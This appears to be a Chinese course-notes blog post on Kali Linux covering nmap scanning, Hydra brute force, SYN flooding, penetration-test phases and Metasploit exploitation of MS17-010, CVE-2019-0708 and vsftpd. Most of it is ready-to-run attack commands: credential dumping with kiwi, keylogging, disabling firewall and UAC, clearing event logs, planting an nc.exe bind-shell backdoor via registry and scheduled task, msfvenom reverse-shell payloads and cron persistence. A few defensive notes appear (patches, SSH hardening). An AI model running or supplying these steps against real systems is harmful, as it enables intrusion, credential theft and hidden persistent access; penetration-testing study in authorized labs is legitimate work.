admin管理员组

文章数量:1591454

kali

介绍:

	一款基于Debian的黑客专用操作系统
	
	集成大量安全工具,如NMAP扫描/Wireshark抓包/Metasploit漏洞利用
	
	可访问官网https://www.kali
	
	下载安装镜像kali-linux-2022.1-installer-amd64.iso

安装环境:

	内存2G、磁盘20G、网络NAT模式/桥接模式
	连接 kali-linux-2022.1-installer-amd64.iso镜像文件

修改更新源

 vim /etc/apt/sources.list  

复制下面源码 选择一个 粘贴到里面,并把原来的源进行注释

		#中科大
deb http://mirrors.ustc.edu/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu/kali kali-rolling main non-free contrib

		#阿里云
deb http://mirrors.aliyun/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun/kali kali-rolling main non-free contrib

		#清华大学
#deb http://mirrors.tuna.tsinghua.edu/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu/kali kali-rolling main contrib non-free

		#浙大
deb http://mirrors.zju.edu/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu/kali kali-rolling main contrib non-free

当出现更新源签名无效问题

1、下载签名并且安装
	wget archive.kali/archive-key.asc    #root用户下
	apt-key add archive-key.asc

 2、更新源和软件
	apt-get update 

nmap扫描

nmap是一款非常强大的主机发现和端口扫描工具,而且nmap运用自带的脚本,还能完成漏洞检测,同时支持多平台。

-sS                  TCP半开扫描 (只发SYN包),速度快
-sT                  TCP全开扫描(尝试全连接),结果更准确
-sU                  UDP扫描 
-sV                  端口对应的版本信息

-sS				扫描主机开放的端口
-sN             扫描主机开放的端口(安全
 
-p  3389          扫描指定接口
-p   20-80        扫描连续的接口
-p  22,80         扫描多个指定接口

-O                  扫描操作系统

close                                 关闭
open                                   开放 
filtered                            探测报文被目标服务器的防火墙过滤和阻止了

常用扫描:

检测主机是否开放了3389端口
	nmap  -sS  -p  22,3389    192.168.10.202,235
	
检测主机的操作系统	
	nmap  -O  192.168.10.202
	
检测主机的21,22端口对应那个版本的软件
	nmap  -sV  -p 22  192.168.10.94 
	
检测192.168.10.0/24网段中有哪些主机开放22端口	
	nmap -sS -p 21,22,80,3389 192.168.10.0/24
	
扫描网段有哪些主机在线
   	nmap -sn 192.168.10.0/24        速度快
   	nmap -sS 192.168.10.0/24

示例1:检测主机是否开放了3389端口

nmap  -sS  -p  22,3389    192.168.10.202,235

效果:

示例2:检测主机的操作系统

nmap  -O  -p  3389   192.168.10.202
nmap  -O  -p  22   192.168.10.202
nmap  -O  192.168.10.202

效果:


示例3:检测主机的21,22端口对应那个版本的软件

nmap  -sV  -p 22  192.168.10.94 

效果:

示例4:检测192.168.10.0/24网段中有哪些主机开放22端口

nmap -sS -p 21,22,80,3389 192.168.10.0/24

效果:

探测逻辑                
		1.探测存活的主机:  nmap -sP  192.168.10.0/24; 
						 nmap -sS  192.168.10.0/24             
		2.探测存活主机的端口号:nmap -sS  -p  端口列表   主机列表
        3.探测存活主机端口对应的软件信息: nmap  -sV  -p  端口  主机
        4.探测目标主机操作系统信息:  nmap  -O  主机列表
        5.进一步攻击:密码爆破  漏洞利用

暴力破解

指针对目标业务,反复猜测其密码或用户名的攻击行为

​ 列出各种可能的密码,用来尝试去访问目标系统

​ 主要用于密码攻击,也称为“密码穷举

​ 任何密码都可以用这种方法来破解,不过越复杂的密码破解耗时也越长

密码字典

​ 实施暴力破解时可以采用的所有密码的集合(非常关键)

​ 可手动编写,或借助工具生成

​ 也可以通过购买/分享获取社工密码库

hydra爆破工具

hydra,海德拉,一款功能强大的开源密码攻击工具

Hydra是一款常用的网络暴力破解工具,它可以对各种常见的协议进行暴力破解,如SSH、FTP、Telnet、SMTP等。Hydra可以自动化地进行密码猜测,根据用户提供的字典文件和一些参数设置,尝试各种可能的密码组合,从而破解出目标账户的密码。

基本用法:

hydra -l 用户名 -P 密码字典 文件 目标地址 协议
	比如:
    	hydra -l Administrator -P pass.txt  192.168.10.128 rdp

常用选项:

-l  LOGIN:	指定用户名可以是一个字典
-P  FILE:   指定密码字典文件
-o  FILE:  	将结果输出到指定文件
-t  threads:线程数默认是16个线程
-v/-V       显示详细过程

示例1:暴力破解ssh

hydra -l root -P passwd.txt  192.168.10.94 ssh

效果:

防范暴力破解攻击

使用强密码+定期更换,不用弱密码

禁用管理员账号
	Administrator、root

设置登录次数限制
	账户锁定國值只对普通用户生效本地
	无法锁定管理员用户

启用账户锁定國值
	管理工具->本地安全策略
	gpupdate /force

DOS攻击

DoS,拒绝服务(Denial of Service)

​ 通过各种手段,最终导致目标系统崩溃、失去响应

​ 从而使自标系统不能为正常的用户提供资源或对应的功能(拒绝服务)

常见的DoS攻击方式

​ SYNFlood泛洪

​ PingFlood泛洪

​ UDPFlood泛洪

攻击原理:

dos攻击工具:

hping3工具
		√可向目标主机发送任意TCP/IP协议数据包的一款开源的安全工具
		√也用于扫描/防火墙测试/路由追踪/协议分析等场景

基本用法:

hping3  --syn   flood  -p  3389  192.168.10.145
	
针对靶机 3389 端口发起攻击,使其时区响应
SYN包泛洪测试
需要停止时,Ctrl + C

常用选项

--Syn:  设置SYN标记(-S)
-p:     指定目标端口
-i:		指定发包间隔(m10表示10毫秒、u10表示10微秒)
-a:		伪造源地址欺骗
--flood: 泛洪,相当于-iu0
--rand-source: 随机源地址模式

效果:

再开一个窗口连接主机,会卡顿一会儿

DDoS攻击

DDoS,分布式拒绝服务(Distributed Denial of Service)

  • 典型的流量攻击,攻击方的主机数量呈现规模化
  • 通常由分布在不同网络、不同位置的成千上万的主机组成攻击方(通常称为botnet僵尸网络),被同一发起者所控制
  • 攻击强度更大
  • 防御的难度也更大

防御DoS/DDoS攻击

提高服务方的交付能力
        减少服务配置的等待时间
        优化单一客户机的并发响应策略
        更换高性能设备
        增加网络带宽
        采用负载均衡架构
        部署CDN内容分发网络
部署专用软硬件防御产品
        冰盾防火墙
        流量清洗、DDDoS高防IP
        IDS入侵防御设备
        抗DDoS专用防火墙设备


系统渗透测试与防护

渗透测试概述

​ 是一种通过模拟攻击的技术与方法,打破目标系统的安全防御,并获得 目标系统控制访问权的安全测试方法,

为什么要进行渗透测试

  • ​ 企业安全更需要未雨绸缪,而不是亡羊补牢
  • ​ 渗透测试后,如果系统未被攻破,证明之前的安全防御是有效的
  • ​ 渗透测试可以有效的评估系统的安全状态,并给出合理的改进方案

渗透测试的目的

  • ​ 侵入系统获取机密信息

  • ​ 将入侵过程和细节产生报告提供用户

  • ​ 确定用户系统存在的安全威胁,完善安全防御,降低安全风险

原则和目标分类

渗透测试的原则

​ 应渐进并且逐步深入,尽可能减少对业务的影响

​ 渗透测试的最大风险:测试过程中对业务产生的影响

​ 渗透测试的合规性:符合规范和法律要求是渗透测试的必要条件

渗透测试的目标分类

​ 针对主机操作系统渗透:Windows、Linux··

​ 针对数据库系统渗透:MySQL、MS-SQL···

​ 针对应用系统渗透:PHP组成的网站···

​ 针对网络设备渗透:防火墙、路由器、交换机··

渗透测试的七个阶段

​ PTES:渗透测试执行标准

​ 定义一次真正的渗透测试过程

​ PTES将渗透测试过程分为七个阶段,并在每个阶段中定义不同的扩展级 别,而选择哪种级别则由被测试的客户组织决定

第一阶段:事前交互/前期交互

明确范围:IP、域名··
明确规则:目标系统介绍、重点保护对象及特性、相关部门接口人?是
否允许数据破坏?是否允许阻断业务正常运行?
确定需求:web应用?人员权限管理漏洞?

第二阶段:信息收集

信息收集是渗透攻击的前提
信息收集工具:Nessus、Nmap···
主动扫描:语言的类型、服务器的类型、目录的结构、使用的软件、数据库类型。
开放搜索:人员信息(域名注册人员信息、web应用中网站发帖人的id、管理员姓名)、后台管理页面、默认账号

第三阶段:威胁建模

根据收集到的信息,识别出目标系统上可能存在的漏洞与弱点
分析渗透测试过程中可能产生的风险:大量测试数据的处理,影响正常业务开展;服务器发生异常的应急、数据备份和恢复、成本。
测试方书写实施方案初稿并提交审核:在审核完成后,进行书面委托授权书,授权测试方进行渗透测试

第四阶段:漏洞分析(手动&自动)

方法:
    1)漏扫:Nessus、Openvas、AppScan;
    2)结合漏洞去MSF等位置找利用;
    内容:
    系统漏洞:系统没有及时打补丁;
    Websever漏洞:Websever配置问题、Web应用开发问题;
    其它端口服务漏洞:各种21/445/22/3389;
    通信安全:明文传输,token在cookie中传送等。

第五阶段:渗透攻击阶段

根据漏洞分析结果,进行精确打击
绕过防御机制:是否有防火墙、WAF
绕过检测机制:是否有入侵检测、流量监控、杀毒软件
定制渗透攻击路径:根据薄弱入口,定制渗透工具路径
代码攻击:XSS、CSRF、SQL注入···

第六阶段:后渗透攻击阶段

获取内部信息:基础设施(网络连接,vpn,路由,拓扑等).
进一步渗透:内网入侵,敏感目标,
持续性存在:添加管理账号,长期驻扎.
清理痕迹:清理相关日志(访问,操作),上传文件等.

第七阶段:形成报告

按需整理:按照之前第一步跟客户确定好的范围,需求来整理资料,并将资料形成报告.
补充介绍:要对漏洞成因,验证过程和带来危害进行分析,
修补建议:当然要对所有产生的问题提出合理高效安全的解决办法.

注意事项:

  • ​ 在事前交互阶段,必须取得客户授权

  • ​ 取得客户授权后,必须向公安部门等监管机构进行报备

  • ​ 不要进行诸如ddos攻击、删库、删根

  • ​ 测试之前对重要数据进行备份

  • ​ 可以对原始系统生成镜像环境,然后对镜像环境进行测试

  • ​ 明确渗透测试范围

漏洞披露平台

微软安全公告

安全公告都有一个惟一的编号
		其命名规则是:MS年份一补丁序号
		比如MS03一015就表示2003年发布的第15个安全公告
另外每个公告还对应一个微软知识库(Knowledge Base)的编号
		比如MS03-015对应的编号是813489,我们可以通过这个编号在微软的网站上查找到相应的文章和解决方案
微软安全更新URL		
		https://msrc.microsoft/update-guide/	
		
		
		
		

CVE

CVE, Common Vulnerabilities & Exposures(通用漏洞披露 )。  
CVE使用安全内容自动化协议(SCAP)来收集有关安全漏洞和披露的信息,为它们提供唯一的标识符,并根据不同的标识符对它们进行编目。 CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称  CVE® 计划的任务是识别、定义和分类公开披露的网络安全漏洞。
  
CVE® 计划的任务是识别、定义和分类公开披露的网络安全漏洞。比如 : CVE-2021-44228
	https://www.cve/           新网站 165188
	https://cve.mitre/         源网站 154245
	https://cve.mitre/cgi-bin/cvekey.cgi   查询具体的漏洞

NVD

NVD 中对漏洞进行了详细的说明, 
	NVD的全称是National Vulnerability Database(国家漏洞数据库), 
	其实指的就是美国国家计算机通用漏洞数据库,我国也有对应的数据库 , 
	中国国家信息安全漏洞库(China National Vulnerability Database of Information Security,CNNVD)
到 NVD网站 https://nvd.nist.gov/vuln/search 可以搜到到漏洞的详细信息
	https://wwwvd/         国家信息漏洞共享平台

安全漏洞检测工具

网络探测
	网络探测指对计算机网络或DNS服务器进行扫描,获取有效的地址、活动端口号、主机操作系统类型和安全弱点
	
常用的工具
	nmap      Nessus          OpenVAS     MetasploitFramework

Metasploit Framework

Metasploit Framework
一款开源的安全漏洞检测工具,简称MSF
可以收集信息、探测系统漏洞、执行漏洞利用测试等,为渗透测试、攻击编码和漏洞研究提供了一个可靠平台 集成数千个漏洞利用、辅助测试模块

核心组件

  • **msfconsole:**Metasploit的主要接口,提供了命令行界面来访问和使用框架的所有功能。

  • **msfvenom:**用于生成各种格式的漏洞利用载荷(payloads),包括但不限于apk、exe、php等。

  • **Meterpreter:**一个高级的payload,允许深入控制和操作目标系统。

    在kali中,通过 msfconsole 进入控制台

MSF常用模块:
辅助模块Auxiliary Modules:
​ 不直接在测试者和目标主机之间建立访问
​ 只负责执行扫描 嗅探 指纹识别 爆破 等相关功能以辅助测试

漏洞利用Exploit Modules:

​ 利用目标系统、应用或者服务中的安全漏洞进行攻击行为

​ 包括用于破坏系统安全的攻击代码,每个漏洞都有相应的共计代码

载荷Payloads Modules:
​ 是指目标系统在被渗透攻击之后,
​ 用于在目标系统上运行任意命令或者执行特定代码

后渗透模块Post-Exploitation Modules:
​ 该模块主要用于在取得目标系统远程控制权后,
​ 进行 一系列的后渗透攻击动作,如取得敏感信息、实施跳板攻击

 		编码器模块Encoder Modules
用于对载荷进行编码,以绕过非执行策略、杀毒软件检测或其他安全防护措施。编码器可以帮助载荷在不被目标系统防御机制识别的情况下成功执行。

		Nops模块Nops Modules
生成无操作指令序列,通常用于保持载荷大小的一致性或用于缓冲区溢出攻击中的填充。虽然这些模块在渗透测试中的使用不如其他模块频繁,但它们在某些特定情况下非常有用。

		规避模块Evasion Modules
旨在帮助载荷或漏洞利用代码绕过目标机器的安全检测机制,如入侵检测系统(IDS)和防病毒软件(AV)。通过使用这些模块,攻击者可以增加渗透测试的成功率。

基础使用

1.启动Metasploit
    msfconsole       启动metasploit
    msfconsole       不开启彩蛋使用

	MSF初始配置
		工作区,MSF将所有数据都存储在PostgreSQL,为了方便开展工作,MSF针对不同的渗透项目执行渗透时,所产生的工作数据,都可以存储在不同的工作区内,方便以后我们写报告时调用数据

2.数据库管理
    msfdb   init          初始化metasploit的数据库工作
    systemctl  enable  postgresql  --now       开机自启动数据库
    db_status             查看数据连接状态

	msfconsole            进入控制台

3.创建、切换、删除工作区
    workspace -a  tom     创建工作区                            
    workspace -d  tom     删除工作区
    workspace  default    切换工作区
    
    workspace   -v        显示工作区的详细信息 
    
    hosts                 查看扫描结果中的主机信息
    
    services              查看服务 
    
back    退出当前模块

更新
apt-get update
apt-get upgrade metaspolit-framework

MSF辅助模块Auxiliary

1、网站目录扫描

msfconsole  -q
search dir_scanner       //查找辅助脚本/搜索dir_scanner脚本
use 0                     //使用编号为0的脚本
set rhost 192.168.10.180    //设置扫描、攻击目标
run                          //运行脚本 手动验证一下

2.MS12-020漏洞扫描

​ MS12-020 远程桌面漏洞-死亡之蓝

​ CVE-2012-0002(MS12-020)漏洞,利用Windows系统的远程桌面协议(RDP)存在缓存溢出漏洞,攻击者可通过向目标操作系统发送特定内容的RDP包造成操作系统蓝屏(DOS攻击)

msfconsole -q
search ms12-020
use 0       //0检查是否存在ms12-020漏洞,1使用拒绝服务攻击脚本
set rhosts  192.168.10.145
run

防御MS12-020漏洞
	安装补丁Windows6.1-KB2621440-x64.msu

Exploit漏洞利用模块

VSFTPD 后门漏洞利用

​ CVE-2011-2523 vsftpd 2.3.4 后门漏洞(笑脸漏洞),此漏洞允许以root身份执行任意命令

msfconsole   -q 
search   vsftpd     //v2.3.4版本才有漏洞 
use   0
set   rhosts   192.168.10.143
run
back

window系统漏洞

CVE-2015-1635

​ CVE-2015-1635(MS15-034)漏洞存在于HTTP协议堆栈(HTTP.sys)中,攻击者只要发送恶意http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃

msfconsole -q
search 15-034   
use 0
set rhosts 192.168.10.100
run

漏洞防御:
	关闭内核缓存 
 补丁文件:Windows6.1-KB3042553-x64
去微软官网-下载中心去下载补丁
https://www.microsoft/zh-tw/download/
https://www.microsoft/zh-tw/download/details.aspx?id=46501

CVE-2019-0708漏洞利用

​ Windows的高危远程漏洞CVE-2019-0708。攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息、执行远程代码、发起拒绝服务攻击等等攻击行为。而更加严重的是,这个漏洞的触发无需用户交互,攻击者可以用该漏洞制作堪比2017年席卷全球的WannaCry类蠕虫病毒,从而进行大规模传播和破坏。

​ 影响范围:

Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP

使用 msfconsole 进行演示

检查是否存在 CVE-2019-0708 漏洞
	msfconsole -q
	search 2019-0708
	use 0
	set rhost 192.168.10.180
	run

使用漏洞进行攻击
	msfconsole -q
	search 2019-0708
	use 1
	set rhost 192.168.10.180
	set target 4                  //设置目标的系统
	options
	set lhost  192.168.10.91     //反弹shell接受
	run 

防御措施

安装补丁:  windows6.1-kb4499175
Microsoft官方已经在2019年5月14日修复了该漏洞,用户可以通过安装微软的安全更新来给系统打上安全补丁,下载地址为:
https://portal.msrc.microsoft/en-US/security-guidance/advisory/CVE-2019-0708
以及为已不受微软更新支持的系统Windows Server 2003和Windows XP提供的安全更新,下载地址:
https://support.microsoft/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708

CVE-2017-0143(永恒之蓝漏洞)

​ 漏洞名称:CVE-2017-0143/44/45/16/48 ----445端口

MS17-010 永恒之蓝利用了SMBv1的一个缺陷。SMB(Server Message Block)是一种在Windows环境中广泛使用的网络文件共享协议。这个漏洞允许未经授权的攻击者通过网络发送特制的数据包到目标系统,从而远程执行恶意代码

使用msf进行漏洞验证、攻击
msfconsole -q 
search ms17-010
use 3     //       use  3 验证漏洞
set rhost 192.168.10.120
run

使用msf进行漏洞攻击
back
search ms17-010
use 0   
set rhost 192.168.10.120
run

​ 使用漏洞利用脚本进行渗透,获取目标主机用户凭证

	获取目标密文密码
		hashdump
	
	加载kiwi模块获取明文密码
		1.加载kiwi模块
			load kiwi
			help kiwi    //kiwi使用帮助
		2.获取所有系统凭证包含明文密码
 			creds_all
 		3.获取用户信息
 			getuid

​ 对目标主机屏幕截图、监控、键盘记录

	截取目标屏幕
		screenshort
	监控屏幕
		screenshare
	进行键盘记录	
	run post/windows/capture/keylog_recorder 


进程迁移
	getuid   
	ps -S explorer    //查看指定进程
	migrate 5148     //复制指定进程的权限
	getuid

**关闭防火墙、添加防火墙规则 开启TCP444端口 **
	shell   //meterpreter获取被控主机的shell访问权限
	chcp 65001   //有乱码的话,更改字符集,解决乱码
	netsh advfirewall set allprofiles state off  //关闭防火墙
	
	netsh advfirewall set allprofiles state on   //打开防火墙
	
	netsh firewall add portopening tcp 444 backdoor enable all
	//开启TCP协议的444端口,允许所有网络配置文件通过该端口进行连接,规则名称为backdoor 留个后门

关闭用户账户控制(UAC),防止其弹窗提醒

	UAC的工作原理
		UAC通过限制应用程序访问用户电脑上的重要部分来工作。当一个程序尝试执行可能会对系统安全性或配置产生影响的操作时,UAC会介入,阻止这一操作直至用户给予明确的授权。这意味着即使用户以管理员账户登录,应用程序和任务也会以限制的权限集运行,除非用户明确授权提升权限
禁用用户账户控制(UAC)
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f


命令解析
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
 
reg ADD: 这是Windows注册表编辑器命令行工具reg.exe的一个操作,用于添加一个新的注册表键值或更新现有的键值。
 
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System: 指定了注册表项的路径。这里,HKLM(HKEY_LOCAL_MACHINE)是顶级注册表项之一,包含了系统的配置信息。路径指向Windows系统的策略设置部分。
 
/v EnableLUA: /v参数后面跟随的是要操作的注册表值的名称,在这个例子中是EnableLUA。EnableLUA是控制用户账户控制(UAC)是否启用的注册表值。
 
/t REG_DWORD: /t参数指定了注册表值的类型,在这里是REG_DWORD,表示数据类型为32位数字。
 
/d 0: /d参数后面跟随的是要设置的数据值。0表示禁用UAC。
 
/f: 强制执行命令而不提示用户确认。

​ 清除事件查看器日志,在meterpreter>环境执行clearev,表示清除远程主机的应用程序日志、系统日志、安全日志。

持久性后门程序植入NC

​ 防止目标主机修补了漏洞后,无法通过系统漏洞侵入目标主机。植入后门并设置开机自启,攻击者可以通过后门444口远程控制目标主机

nc称为netcat,是一个非常强大的网络工具被称为“网络界的瑞士军刀”。主要用于读取和写入网络连接,支持TCP和UDP协议。nc的功能包括端口扫描、文件传输、网络服务测试、以及作为客户端或服务器在任意端口上监听。

持久性后门程序植入。
	1.上传后门文件
	2.查看注册表开机启动的进程
	3.将 nc.exe 添加到口开机启动 监听 TCP 444 端口
	4.使用 nc 连接后门

​ 1.上传后门文件到目标主机的指定路径

upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32

命令分解
upload:这是Meterpreter的一个命令,用于将文件从攻击者的系统上传到被控制系统的指定路径
 
/usr/share/windows-binaries/nc.exe:这是攻击者系统上的文件路径,指向nc.exe(即Netcat的Windows版本)。Netcat是一个功能强大的网络工具,可以用于监听端口、连接到服务、传输数据等
 
c:\\windows\\system32:这是目标Windows系统上的路径,其中包含重要的系统文件和程序。将文件上传到这个目录,可以使得上传的文件(在这个例子中是nc.exe)更容易被执行,因为system32目录通常包含在系统的PATH环境变量中。
 
ls nc.exe:查看文件具体情况

​ 2.添加进注册表中目标系统开启时运行后门程序

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"    //nc添加进注册表中开机自启以444端口开启,不易被发现

​ 3.查询添加nc的这个键值

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
				检查nc是否添加进注册表开启自启

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 
				查询键值的详细内容

//获得管理员adminstrator的权限,进入shell 连接nc重启,重启不了检查防火墙也可以关闭防火墙
shell
nc.exe -Ldp 444 -e cmd.exe

清除日志,做事不留痕,清除事件查看器日志
		exit
		clearev

​ 4.重启靶机进行后门连接

​ 其他方法设置计划任务目标系统开启时运行后门程序

shell
schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart


命令解析
schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
 
schtasks:Windows中用来创建、删除、查询或修改系统计划任务的命令行工具。
 
/create:schtasks命令创建一个新的计划任务。
 
/tn "nc":/tn参数后面指定的是任务的名称。
 
/ru system:这个参数指定任务将以何种用户身份运行。在这个例子中,/ru system意味着任务将以系统账户的权限运行,系统账户具有广泛的权限并且可以访问系统上的大多数资源。
 
/tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe":/tr参数后面跟随的是任务实际执行的命令或程序。这里指定的是执行nc.exe(Netcat),使用-Ldp 444选项在本地监听444端口,并且当连接建立时使用-e cmd.exe选项来执行命令提示符。
 
/sc onstart:参数定义了任务的调度周期。onstart表示任务会在每次系统启动时运行。

清除日志	exit
		clearev  

​ 重启靶机进行后门连接

实验:

使用msfvenom是一个木马上传,进行上传留后门

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.10.124 LP0RT=44444 -f exe > abc.exe
  //生成window木马的程序 名字abc.exe

//开启端口等待连接
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.154
set lport 44444
run
shell 交互
python -c ‘import pty;pty.spawn(“/bin/bash”)’

Linux系统攻防实战

Linux 是开源系统,因漏洞造成的攻击相对比较少,主要集中在SSH攻击;

SSH所采用的加密机制,可以防止数据传输过程中信息泄露

SSH基于用户名密码的身份验证进行登录且linux服务器大概率具有root用户,容易遭受密码暴力破解攻击

SSH爆破及安全配置

暴力破解

​ 暴力破解或称为穷举法,是一种针对密码的破译方法,即将密码进行逐个推算,直到找出真正的密码

SSH暴力破解工具

​ Medusa、Hydra

​ 大部分攻击都是针对Linux服务器默认管理账号root,攻击者主要使用admin、root、123456等常见弱密码进行暴力破解

​ 少部分攻击是针对tomcat、postgres、hadoop、mysql、apache、ftpuser、vnc等Linux服务器上常见应用程序使用的用户名

​ 攻击者不仅使用常见通用弱密码,还会将用户名当作密码进行攻击

SSH爆破

使用msf脚本爆破

search  ssh_login    //搜索ssh登录工具
use  0               //使用工具 
set  rhosts  192.168.10.117         //设置攻击目标
set  userpass_file    userpass.txt  //设置登录字典 一行一个用户名+空格+一个密码
run                                  //进行攻击

还可以 
		set username root
	  	set pass_file password.txt  
    进行爆破,也可以进行单独设置用户名、密码字典

爆破完成后	
	show sessions     显示连接会话        
	sessions  1        切换会话  

SSH安全配置

​ 防止暴力破解方法,修改SSH服务配置文件

vim  /etc/ssh/sshd_config   
    Port   12345          //修改端口
    LoginGraceTime  1m    //输入密码1m之内    
    PermitRootLogin no     //禁止root远程登录    
    MaxAuthTries   3       // 密码认证最大次数   
    MaxSessions      4     //最大会话数4个人     
    AllowUsers jack@192.168.10.2   //添加白名单仅允许用户在指定IP192.168.10.2上登录 
     
systemctl restart ssh           //重启ssh服务
/etc/init.d/ssh  restart		//重启ssh服务

SSH秘钥远程连接

对称加密
	加密和解密速度快,效率高
	加密和解密使用相同的密钥,所以叫对称加密
	对称加密包含多种算法,如:DES、3DES、AES
	加密长度一般小于256位
	防止数据泄露

非对称加密(密钥对)
	需要两个密钥来进行加密和解密,公钥和私钥,公钥与私钥是一对
	如果用公钥对数据进行加密,只有用对应的私有密钥才能解密
	如果用私钥对数据进行加密,只有用对应的公开密钥才能解密
	加密和解密使用两个不同的密钥,所以叫作非对称加密算法
	(非对称加密常用算法:RSA、DSA(数字签名算法)
	加密长度一般为512、1024、2048等
	非对称加密安全性高,比对称加密要安全很多
	但是非对称加密,加密和解密速度慢,消耗资源多
1.在客户端moba终端上生成密钥对
    /home/mobaxterm    rm -fr .ssh/*   //清除现有密钥对
    /home/mobaxterm    ssh-keygen      //生成新的密钥对
    cat .ssh/authorized_keys           //查看公钥
2.将公钥上传到目标主机 
	ssh-copy-id root@192.168.10.117 -p 22
3.修改 SSH 配置文件,禁止使用密码登录
	vim /etc/ssh/sshd_config
    58  PasswordAuthentication no 
    
    systemctl restart ssh

​ 1.生成密钥对

​ 2.将公钥上传到目标主机

​ 3.修改 SSH 配置文件,禁止使用密码登录

​ 4.登录验证,使用用户名密码登录不上

Linux后门

侵入成功后,为了持久远程控制对方,即便是对方已经进行了安全加固

Msfvenom

Msfvenom是MSF框架配套的攻击载荷生成器
msfvenom:Metasploit框架中的一个工具,用于生成各种类型的后门程序和有效载荷
可以用来生成木马程序,并在目标机上执行,在本地监听上线

部分参数
    -p选择一个载荷
    -f生成的文件格式
    -lhost监听地址
    -lport监听端口
    -0输入文件名
    -h帮助
    
msfvenom -l all | grep linux | grep x86 | grep tcp   //查看 msfvenom 中Linux 包含的Payload

1.创建后门程序
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.152 lport=4444 -f elf -o shell 
        制作木马 shell木马名称 反弹到192.168.10.136:4444端口 本机地址端口
		   
		-p:指定有效载荷
		linux/x86/meterpreter/reverse_tcp:针对Linux x86架构的Meterpreter反向TCP连接有效载荷 
		lhost:指定攻击机地址
		lport:指定攻击机端口
		-f elf:-f 指定输出文件的格式,elf代表生成的是一个Linux可执行文件
		-o shell:指定输出文件的名称。
      

2.植入后门

​ 前提:已经侵入到目标主机,获得目标主机的

scp shell root@192.168.10.143:/tmp
   上传木马      
   
scp -p 12345 shell msfadmin@192.168.10.143:/home/msfadmin 
     端口号上传              通过其他端口号进行上传

3.激活后门程序
ssh msfadmin@192.168.10.143 
chmod +x /tmp/shell       //ssh连接进入给木马设置一个可执行权限 
 
/tmp/shell  &            //后台执行
				
ssh -p 12345 msfadmin@192.168.10.143          
                    //通过已修改的其他端口号进行连接

4.攻击机链接后门
msfconsole -q
use exploit/multi/handler              //调用后门远程            
set lhost  192.168.10.136            //设置本机地址      
set  payload  linux/x86/meterperter/reverse_tcp      // //调用基于TCP的反弹载荷
    //(Using configured payload generic/shell_reverse_tcp 默认载荷)
run                                  运行

meterpreter > background            // 放入后台运行
msf6 exploit(multi/handler) > show sessions   //查看所有会话
msf6 exploit(multi/handler) > sessions 4       //切换到会话

自动执行后门程序

EDITOR=vim crontab -e 
*  *  *  *  *  /tmp/shell 
仅供学习使用

本文标签: KaliMetasploit